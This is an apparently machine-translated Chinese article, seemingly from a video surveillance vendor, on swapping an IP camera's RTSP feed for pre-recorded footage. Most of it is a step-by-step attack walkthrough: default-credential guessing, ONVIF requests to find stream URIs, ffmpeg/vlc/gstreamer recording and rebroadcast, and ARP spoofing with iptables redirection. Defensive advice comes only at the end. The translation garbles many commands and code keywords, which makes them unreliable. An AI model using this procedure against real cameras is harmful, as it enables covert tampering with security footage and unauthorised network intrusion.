海洋的《十一朋友》电影的粉丝一定已经认识到我们选择用来说明本文的框架。 硬汉巧妙地替换了赌场CCTV摄像机的模拟信号的那一刻,引起了很多人的注意。 有些人甚至尝试在现实生活中这样做。

技术已经发生变化,现在IP摄像机比模拟摄像机更受青睐,破坏它们的方法将在后面详细讨论。
如果您不是偏执狂,这并不意味着您不会被监视
大多数黑客这样做是为了娱乐或在互联网上获得一定的声望。 他们在相机支持系统中使用众所周知的“漏洞”,并在流行的Internet资源上发布有趣的视频。 YouTube充斥着
类似的 视频 。
我们将考虑该漏洞带来的更严重的后果,即当破解者不背叛自己和他渗透到系统中时。 通常会在黑客入侵之前的一周甚至一个月内仔细计划此类攻击。
就像我们在《海洋十一人》的示例中一样,我们将讨论在视频监视系统中替换流,不仅仅是模拟信号,而是数字信号,即RTSP流。
由于本文中的所有信息本质上都是信息性的,并且主要旨在消除构建视频监视系统时的安全错误,因此我们不建议您使用此漏洞,稍后将对此进行讨论。 因此,仅从表面上考虑黑客入侵视频监控网络本身,并且所描述的方法涉及对企业或个人网络的开放访问。 请记住,未经授权访问数据可能会受到起诉。
我们公司的经验表明,该主题非常相关,因为在调试视频监控系统的阶段,许多人使用RTSP链接将摄像机连接到其系统。 为了节省时间,要么出于无知,要么是出于确保必要的考虑,许多人甚至没有考虑更改密码或查看相机支持的安全设置。
顺便说一句,RTSP(实时流协议)是一种允许您实时控制流视频的协议。 我们需要知道的是,借助RTSP链接,我们将从摄像机获取视频流。
最后,我们开始
实践 ,即按照计划采取行动:
1.获取要替换其流的摄像机的RTSP链接。
2.准备视频文件以进行后续广播。
3.广播录制的文件。
4.防止二次流交换。
获取RTSP URI流
要替换来自摄像机的信号,您首先需要找到我们需要的视频流。 这将需要通过RTSP协议链接到它。 相机通常会传输多张图像(高分辨率和低分辨率)。 第一个用于录制,第二个-用于在视频监控屏幕上播放。 最低分辨率(通常为320 x 240像素)可减少设备的负载。 对于每个RTSP流,通常用密钥中的一位数字来区分链接。
不同的摄像机可能具有不同的RTSP链接,但是一般视图大致如下:
rtsp:// [登录名:密码@] ip地址:RTSP端口[/ key] 。
解码如下:
- 登录名和密码-用于访问摄像机的密码(可能不是);
- 如果链接中包含用户名和密码,则在它们后面显示@符号以分隔授权和IP地址;
- 默认情况下,通过其传输流视频控制命令的RTSP端口为554;
- 密钥是RTSP链接的唯一组成部分,它会根据摄像机的制造商和型号而有所不同,例如:
/?user = admin&password = admin&channel = channel_number&stream = stream_number.sdp
/play1.sdp-指示流号而不是“ 1”;
/ live / ch00_0 00-频道号,0-流号;
/通道1-指示流号而不是“ 1”。
如何在不访问相机的情况下找到RTSP链接? 一些简单的方法:
1.在相机制造商的网站上找到链接。
2.在Internet上搜索提供不同相机型号链接的站点,
此处和
此处都是此类站点的示例。
3.在制造商的网站上下载用户手册,并在此处找到必要的信息。
对于简单方法都无济于事的情况,则要复杂一些。 这里至少需要访问摄像机所在的网络。 由于大多数现代相机都支持ONVIF,因此我们可以使用此协议找到RTSP链接。
为此,默认情况下,在建议的摄像机上未经授权或经授权发送多个请求,例如“ admin:admin”或“ admin:12345”。 顺便说一句,实际上,有些摄像机具有有效的IP地址过滤器以及非标准的登录名和密码,但是由于通过ONVIF协议访问时固件中的错误,因此未检查授权或过滤器。
如何通过ONVIF协议从摄像机获取到两个流的所需链接?1.使用GetProfiles命令,找到我们需要其uri的配置文件的名称 POST / onvif / media_service HTTP / 1.1
主机:192.168.1.77
用户代理:gSOAP / 2.8
内容类型:应用程序/ soap + xml; 字符集= utf-8; 操作=“ http://www.onvif.org/ver10/media/wsdl/GetProfiles”
内容长度:2120
连接:保持活动状态
SOAPAction:“ http://www.onvif.org/ver10/media/wsdl/GetProfiles”
<?xml版本=“ 1.0”编码=“ UTF-8”?>
<SOAP-ENV:信封xmlns:SOAP-ENV =“ http://www.w3.org/2003/05/soap-envelope”
。
跳过整个名称空间的描述。
。
xmlns:trt =“ http://www.onvif.org/ver10/media/wsdl”>
<SOAP-ENV:标头> </ SOAP-ENV:标头>
<SOAP-ENV:正文>
<trt:GetProfiles />
</ SOAP-ENV:正文>
</ SOAP-ENV:信封>
2.在收到的长答案中,我们找到第一行和第二行的名称行 HTTP / 1.1 200 OK
伺服器:gSOAP / 2.8
内容类型:应用程序/ soap + xml; 字符集= utf-8; 操作=“ http://www.onvif.org/ver10/media/wsdl/GetProfiles”
内容长度:17405
连接方式:关闭
<?xml版本=“ 1.0”编码=“ UTF-8”?>
<SOAP-ENV:信封xmlns:SOAP-ENV =“ http://www.w3.org/2003/05/soap-envelope”
。
跳过整个名称空间的描述。
。
xmlns:tns1 =“ http://www.onvif.org/ver10/topics”>
<SOAP-ENV:标头> </ SOAP-ENV:标头>
<SOAP-ENV:正文>
<trt:GetProfilesResponse>
<trt:配置文件已固定=“ true”令牌=“ profile_cam1_stream1”>
<tt:名称> profile_cam1_stream1 </ tt:名称>
<tt:VideoSourceConfiguration令牌=“ videosource_config_cam1”>
<tt:名称> videosource_config_cam1 </ tt:名称>
。
跳过个人资料描述。
。
</ trt:个人资料>
<trt:配置文件已固定=“ true”令牌=“ profile_cam1_stream2”>
<tt:名称> profile_cam1_stream2 </ tt:名称>
。
我们跳过了第二个配置文件的描述。
。
</ trt:个人资料>
。
我们不考虑第三种情况。
。
</ trt:GetProfilesResponse>
</ SOAP-ENV:正文>
</ SOAP-ENV:信封>
-profile_cam1_stream1是摄像机上第一个配置文件的名称。
-profile_cam1_stream2是摄像机上第二个配置文件的名称。
3.现在,您需要使用GetStreamUri命令为这些配置文件请求rtsp uri,并在ProfileToken字段中指定所需的配置文件第一个线程的示例:
POST / onvif / media_service HTTP / 1.1
主机:192.168.1.77
用户代理:gSOAP / 2.8
内容类型:应用程序/ soap + xml; 字符集= utf-8; 操作=“ http://www.onvif.org/ver10/media/wsdl/GetStreamUri”
内容长度:2479
连接:保持活动状态
SOAPAction:“ http://www.onvif.org/ver10/media/wsdl/GetStreamUri”
<?xml版本=“ 1.0”编码=“ UTF-8”?>
<SOAP-ENV:信封xmlns:SOAP-ENV =“ http://www.w3.org/2003/05/soap-envelope”
。
跳过整个名称空间的描述。
。
xmlns:trt =“ http://www.onvif.org/ver10/media/wsdl”>
<SOAP-ENV:标头> </ SOAP-ENV:标头>
<SOAP-ENV:正文>
<trt:GetStreamUri>
<trt:StreamSetup xsi:type =“ tt:StreamSetup”>
<tt:流xsi:类型=“ tt:StreamType”> RTP单播</ tt:流>
<tt:运输xsi:类型=“ tt:运输”>
<tt:协议xsi:类型=“ tt:TransportProtocol”> UDP </ tt:协议>
</ tt:运输>
</ trt:StreamSetup>
<trt:ProfileToken xsi:类型=“ tt:ReferenceToken”> profile_cam1_stream1 </ trt:ProfileToken>
</ trt:GetStreamUri>
</ SOAP-ENV:正文>
</ SOAP-ENV:信封>
作为回应,我们获得了所需的链接:
HTTP / 1.1 200 OK
伺服器:gSOAP / 2.8
内容类型:应用程序/ soap + xml; 字符集= utf-8; 操作=“ http://www.onvif.org/ver10/media/wsdl/GetStreamUri”
内容长度:3701
连接方式:关闭
<?xml版本=“ 1.0”编码=“ UTF-8”?>
<SOAP-ENV:信封xmlns:SOAP-ENV =“ http://www.w3.org/2003/05/soap-envelope”
。
跳过整个名称空间的描述。
。
xmlns:tns1 =“ http://www.onvif.org/ver10/topics”>
<SOAP-ENV:标头> </ SOAP-ENV:标头>
<SOAP-ENV:正文>
<trt:GetStreamUriResponse>
<trt:MediaUri>
<tt:Uri> rtsp://192.168.1.77:554 / snl / live / 1/1 </ tt:Uri>
<tt:InvalidAfterConnect>否</ tt:InvalidAfterConnect>
<tt:InvalidAfterReboot>否</ tt:InvalidAfterReboot>
<tt:超时> PT0S </ tt:超时>
</ trt:MediaUri>
</ trt:GetStreamUriResponse>
</ SOAP-ENV:正文>
</ SOAP-ENV:信封>
我们对第二个流执行相同的操作并获取链接:
<tt:Uri> rtsp://192.168.1.77:554 / snl / live / 1/2 </ tt:Uri>
将RTSP流写入文件
当我们获得必要的rtsp链接时,我们需要录制一个持续数小时的视频。 不要忘记在现代系统中使用了双线程,因此您需要同时记录两个流。
您可以使用各种软件使用RTSP协议录制视频流。 考虑最流行的
ffmpeg,gstreamer和vlc 。
1.通过ffmpeg进行流录制 $人ffmpeg
我们感兴趣的是:
-vcodec复制-将视频复制到文件;
-编解码器复制-将音频复制到文件;
-rtsp_transport tcp-选择传输流的方法;
-r 25-设置每秒的帧速率;
-复制-复制时间戳;
-start_at_zero-复制从00:00:00:000开始的时间戳
我们替换RTSP链接,并通过复制指定记录将要到达的文件的路径和名称。
%ffmpeg -i rtsp://192.168.1.77:554 / snl / live / 1/1 -copyts -start_at_zero -rtsp_transport tcp -r 25 -vcodec复制-acodec复制/home/line/example/1.avi

开始写入文件。
2.通过vlc录制您可以使用以下命令熟悉vlc媒体播放器向我们提供的命令集
$ vlc –h。
我们感兴趣的是:
-sout =#file {path}-指向我们要将视频复制到的文件;
-rtsp-tcp-通过tcp接收rtsp;
-rtsp-frame-buffer-size = 1000-缓冲区,以便在播放过程中视频不会崩溃;
-h264-fps = 25-附加25帧。
替换我们的数据并运行
$ cvlc rtsp://192.168.1.77:554 / snl / live / 1/1 --rtsp-tcp --rtsp-frame-buffer-size = 1000 --h264-fps = 25:sout =#file {dst = /home/line/example/1.avi}。
vlc窗口将打开并开始记录;当您关闭窗口时,记录将停止。
3.通过gstreamer记录可在<a href="https://gstreamer.freedesktop.org/documentation/plugins.html">此处</a>找到有关使用gstreamer的信息。
-rtspsrc位置=“ rtsp://192.168.1.91:554 / cam / realmonitor?Channel = 1&subtype = 0&unicast = true&proto = Onvif”-指定RTSP流作为数据源。
-rtph264depay-在RTSP视频中,视频是分成小块(rtp数据包)的,通过rtph264depay,我们将从这些数据包中接收视频。
-h264parse-顾名思义,解析H.264流。
-avimux-在avi中收集流,您也可以使用mp4mux或matroskamux(mkv)。
-filesink location = 1.avi-指定要在其中保存视频的文件。
gst-launch-1.0 -v rtspsrc位置=“ rtsp://192.168.1.91:554 / cam / realmonitor?channel = 1&subtype = 0&unicast = true&proto = Onvif”! rtph264depay! h264parse! mp4mux! filesink位置= 1.mp4

从文件广播RTSP流
现在该开始以RTSP格式广播录制的文件了。 为此,我们将使用上一节中讨论的所有相同程序。
1.要使用ffmpeg从摄像机广播视频流,必须使用ffserver。 它的描述可以在
这里找到。 为了设置转换参数,必须
填写 ffserver.conf
文件 。
ffserver Ffserver.conf文件
RTSPPort-设置广播将通过的rtsp端口号。
<Stream snl / live / 1/1>-在Stream之后,我们设置必要的密钥。
格式rtp-传输格式。
文件“ /home/line/example/1.avi”-rtsp_transport tcp-指定要传输的文件的路径,以及要通过tcp传输的密钥。
NoAudio-不传输声音。
Ffserver.conf文件
RTSP端口554
<流snl /直播/ 1/1>
格式rtp
文件“ /home/line/example/1.avi” -rtsp_transport tcp
无声
</ Stream>
接下来,运行%ffserver -f ffserver.conf。

2.现在,我们将使用vlc-media播放器。 尽管事实上这是最简单的方法,但是不幸的是,vlc只能通过UDP广播流。
VLC媒体播放器启动rtsp流的命令:
-sout =#rtp {sdp = rtsp://192.168.1.232:554 / snl / live / 1/1}-设置进行广播的链接。
-重复-如有必要,将视频设置为重复播放。
vlc /home/line/example/1.avi --sout =#rtp {sdp = rtsp://192.168.1.232:554 / snl / live / 1/1} —重复
3.最后,使用gst-server。
GST服务器首先,您需要安装它。
$ sudo apt-get install gstreamer1.0
$ wget https://gstreamer.freedesktop.org/src/gst-rtsp-server/gst-rtsp-server-1.8.3.tar.xz
/gst-rtsp-server-1.8.3$ sudo apt安装gtk-doc-tools
/gst-rtsp-server-1.8.3$ sudo apt-get install libgstreamer-plugins-base1.0-dev
/gst-rtsp-server-1.8.3$ make
现在我们可以更改文件/gst-rtsp-server-1.8.3/examples/test-launch.c
在这里您可以更改默认的RTSP端口
#定义DEFAULT_RTSP_PORT“ 8554”
钥匙在链接上
gst_rtsp_mount_points_add_factory(安装,“ /测试”,工厂)。
取代我们的价值观之后,我们就会实现。
现在使用键运行测试启动文件。
-rtspsrc location =“ / home / line / example / 1.avi”-我们将播放的文件的路径。
-H264编码器-以h.264编码。
-rtph264pay名称= pay0 pt = 96-将我们的信息流分成多个部分。
$〜/ gst-rtsp-server-1.8.3 /例子$ ./test-launch“((rtspsrc location =” / home / line / example / 1.avi“!x264enc!rtph264pay name = pay0 pt = 96)”
录制的文件以RTSP格式广播,此后我们解决了摄像机故障的问题。 以下是根据我们要攻击的对象而有所不同的一些选项。 实际上,还有更多方法,仅考虑最基本的方法。 我们需要的第一件事就是进入我们需要的网络。
如果对象在领土上较大,则通常有机会物理上接近某些摄像机,甚至尝试查找与摄像机连接的交换设备。
如果对象较小,则可以尝试通过wi-fi进入网络并使用nmap进行扫描。
另外,如果可以通过物理方式访问照相机,则可以使用单板计算机分几个阶段破解照相机:
1)启用wireshark记录;
2)暂时断开相机的电线,然后将其连接至单板;
3)将电缆放回原处;
4)研究收到的日志。
或者,如果您可以访问网络,则可以使用经典的替换方法:
-在相机和服务器之间使用arpspoof支架;
-使用ip_forward将请求从监视服务器转发到IP摄像机,反之亦然;
-使用iptables通过RTSP端口将所有请求重定向到监视服务器,而不是从摄像机而是从我们的计算机。
黑客监控摄像头
为了根据上述步骤保护自己免受线程欺骗,可以使用几种方法:
1.相机整合通过将相机集成到软件产品中,可以提供最大的保护。
在此处检查摄像机是否与
Line监视系统集成。
如果未列出您的摄像机或制造商,则可以联系
技术支持以请求集成您的IP摄像机型号。
2.固件更新有必要不断更新相机固件,因为借助更新,开发人员可以修复各种漏洞,从而提高相机的稳定性。
3.更改标准的登录名和密码攻击者要做的第一件事是尝试使用标准的相机用户名和密码。 使用说明中指出了它们,因此找到它们并不困难。 因此,请始终使用唯一的用户名和密码。
4.启用强制授权许多现代相机都具有此功能,但不幸的是,并非所有用户都知道此功能。 如果禁用此选项,则相机在连接到它时将不会请求授权,这将使其容易受到黑客攻击。 值得注意的是,有些摄像机具有双重访问权限,可以进行http访问和通过ONVIF协议访问。 同样,在某些摄像机中,通过直接RTSP链接进行连接时,对授权请求有单独的设置。
5. IP地址过滤器如果相机支持所谓的白名单功能,则最好不要忽略它。 借助它的帮助,可以确定您可以从中连接到摄像机的IP地址。 该地址应该是摄像机所连接的服务器的地址,如果需要,还应该是进行配置的工作站的第二个IP地址。 但这不是最可靠的方法,因为攻击者在更换设备时可以使用相同的IP地址。 因此,最好将此选项与其他建议一起使用。
6.网络保护必须正确配置交换设备。 现在,大多数交换机都支持arp欺骗保护-请务必使用此功能。
7.网络共享您应特别注意此事项,因为这在系统安全性中起着重要作用。 企业网络和监视网络的分离将保护您免受入侵者的侵害,甚至保护您自己的员工,这些员工可以访问共享网络并想要黑客。
8.打开OSD菜单您必须使用相机上的当前时间和日期启用OSD菜单,以便您始终可以检查图像的相关性。 这是防止更改素材的好方法,因为OSD会叠加在来自特定摄像机的所有视频上。 即使攻击者记下了RTSP流,由于仍会保留在视频帧中的数据,欺骗也会很明显。
不幸的是,许多攻击者已经学会了快速发现并利用IP视频监视系统中的漏洞。 为了保护网络安全,有必要熟悉本文介绍的保护方法。 留出足够的时间来调试系统,尤其是正确配置其所有组件。 因此,您可以为网络提供最大程度的安全性,防止黑客入侵。
总之,我们建议您分享评论,您将如何保护视频监控网络免受黑客攻击? 您认为哪种攻击方法最危险?